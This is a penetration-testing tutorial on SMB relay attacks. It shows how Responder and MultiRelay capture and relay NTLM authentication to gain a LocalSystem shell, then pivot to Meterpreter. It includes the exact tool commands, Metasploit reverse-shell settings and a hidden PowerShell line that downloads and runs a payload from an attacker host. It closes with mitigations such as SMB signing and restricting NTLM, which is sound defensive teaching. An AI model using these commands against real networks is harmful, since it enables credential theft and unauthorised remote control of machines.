Don’t even bother cracking NTLMv2 hashes gathered with Responder! Instead, just relay them to a target machine on the network and pop yourself into a LocalSystem shell. This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell. This tutorial will cover the basics of how to perform this attack, the tools required, and shows a demonstration against a real target. These methods are intended to be used to understand current network attacks, and how to prevent them.
Note: Target information has been redacted to conserve the privacy of our clients.
The following conditions must be met:
The following tools are required:
- Open up two terminals
- Modify Responder configuration
- Turn off the SMB and HTTP servers by changing ‘On’ to ‘Off’
- Save the file
ctrl + x | yes | enter
Step 1: Boot Up Responder
Navigate to Responder’s Installation location
Start Responder with the proper Relay settings
python responder.py -I eth0 -rv
-I (capital i specifies interface) -rv (required settings for relay attack)
Responder is Running
Responder will start poisoning traffic, like so:
Now, we need to spin up our Multirelay script.
Step 2: Boot up Multi-Relay
Navigate to the Multirelay location
- Start the MultiRelay script with the following settings:
- -t (target IP address)
- -u (User to relay – ALL will send any user thats captured)
python MultiRelay.py -t 22.214.171.124 -u ALL
- And now we wait…..
Step 3: MultiRelay Shell
BOOM! We now have a MultiRelay shell.
You can see above that the SMB authentication session for the user ‘USER’ was captured, and successfully relayed to our target machine. USER was authorized to login remotely on this machine, so we gained access. Additionally, this script escalated priviledged for us, and we are now running as LocalSystem.
Step 4: Post-Exploitation
At this point you can shut off Responder; we don’t need it anymore.
With the shell access we have obtained, there are many actions that we can perform directly from here:
Mimikatz commands can also be performed directly from the shell. Unfortunately, the target used for this tutorial’s antivirus ate my mimikatz, but the following commands can be executed to run mimikatz, as well as the entire pallette of modules.:
All mimikatz commands can be found in the following documentation.
If you’re happy with your level of access, you can stop here. But if you feel so inclined, you can pivot this relay shell into a full-on meterpreter shell.
Step 5: Pivoting to Meterpreter
Boot up Metasploit in another terminal
We’re going to be using a powershell web delivery method. My target is a Windows machine, but Python and PHP web delivery are also available.
We will be using the following module settings:
set URIPATH ‘/’
set target 2
set payload windows/x64/meterpreter/reverse_https
set LHOST your.local.i.p
set LPORT 11197 (port of your choice)
Now, execute the module.
A background job has been generated and is waiting for incoming web connections. At this point, we just need to grab the generated powershell script, paste it into our multirelay shell, and execute. This will execute the powershell script and drop us into a Meterpreter session.
powershell.exe -nop -w hidden -c $T=new-object net.webclient;$T.proxy=[Net.WebRequest]::GetSystemWebProxy();$T.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $T.downloadstring(‘http://10.201.205.75:8080/’);
Once executed on the relay shell, a powershell instance will be spawned that interacts with our Metasploit webserver to receive the meterpreter payload and generate a session.
Cleanup / Resources
No cleanup actions necessary.
Responder is a powerful tool that we use almost daily. Information can be found on their Github page
We use PuTTy for SSH sessions, which is a free SSH client, and can be found on their website.
The Metasploit framework comes pre-packaged with the Kali Linux OS, but standalone versions can be found on their website.
The SMB Relay attack is a Man-In-The-Middle attack in which a malicious user on the local network poisons network traffic to trick the target machine/user into thinking that it is the authentication server. Thus, authentication requests flow through the attacker’s machine, unbeknownst to the victim, allowing the attacker to use the “legitimate” SMB session to pivot to other machines on the network.
A couple unique conditions must be met for this attack to work:
SMB Signing must NOT be enabled on the target machine.
The captured user’s SMB Auth session must have the priviledges to login on the target machine
This attack can effectively be prevented by combining multiple facets of security, including:
1. Forcing SMB Signing on all local windows machines. This setting will digitally sign each and every SMB session which forces both the client and server to verify the source of the packets before continuing. This setting is only enabled by default on Domain Controllers. The following articles from Microsoft detail these settings (which can be enabled through group policy), and how to implement them.
2. Reviewing and ensuring that the users on the local network can only remotely login to machines in which it is necessary. For example: Sally can only log in to Sally’s workstation. If an attacker were to intercept Sally’s SMB Auth session, they could not relay the session to any workstations, rendering this method useless.
3. Restrict NTLM Authentication on the local network as much as possible. This attack cannot take advantage of Kerberos authentication, so by limiting the amount of NTLM that’s occurring, this attack can be greatly hindered. There is information from Microsoft on making this happen, but be warned.. If Kerberos authentication fails for whatever reason, it generally falls back onto NTLM. If you disable it entirely, your network might grind to a halt.
4. Prevent unauthorized users on your network. An insider threat will likely not be utizilizing an SMB Relay attack, as they already have network credentials. By beefing up your physical security policies, preventing rogue devices on the network with ACLs and MAC Filtering, and ensuring proper network segmentation, you can greatly limit the threat of this attack being performed.